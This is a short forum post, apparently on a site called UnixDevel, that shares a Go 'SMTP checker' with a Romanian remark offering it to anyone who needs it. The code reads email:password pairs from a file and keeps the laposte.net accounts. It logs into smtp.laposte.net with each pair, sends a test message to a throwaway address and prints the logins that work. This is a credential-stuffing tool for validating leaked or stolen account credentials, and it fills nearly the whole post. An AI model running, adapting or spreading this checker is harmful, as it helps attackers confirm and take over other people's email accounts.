Jump to content
UnixDevel

Smtp checker in golang

Recommended Posts

package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "strings"
    "net/smtp"
)


type unencryptedAuth struct {
    smtp.Auth
}

func (a unencryptedAuth) Start(server *smtp.ServerInfo) (string, []byte, error) {
    s := *server
    s.TLS = true
    return a.Auth.Start(&s)
}



func email(line string){

    containsString := strings.Contains(line, "laposte.net")

    if(containsString == true){

        stringSlice := strings.Split(line, ":")
        email :=stringSlice[0]
        password :=stringSlice[1]
        auth := unencryptedAuth {
            smtp.PlainAuth(
                "",
                email,
                password,
                "smtp.laposte.net",
            ),
        }
        err := smtp.SendMail(
            "smtp.laposte.net:465",       // server address
            auth,                               // authentication
            email,                               // sender's address
            []string{"rixama1489@jentrix.com"},  // recipients' address
            []byte("Hello World!"),             // message body
        )
        if err != nil {
            log.Print(err)
        }


        fmt.Println(email)

        
            

    }

}


func main() {

    f, err := os.Open("emails.txt")

    if err != nil {
        log.Fatal(err)
    }

    defer f.Close()

    scanner := bufio.NewScanner(f)

    for scanner.Scan() {

        line := scanner.Text();

        email(line)

       // fmt.Println(line)

    }

    if err := scanner.Err(); err != nil {
        log.Fatal(err)
    }
}

 

Il las aici poate ii trebuie cuiva  

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...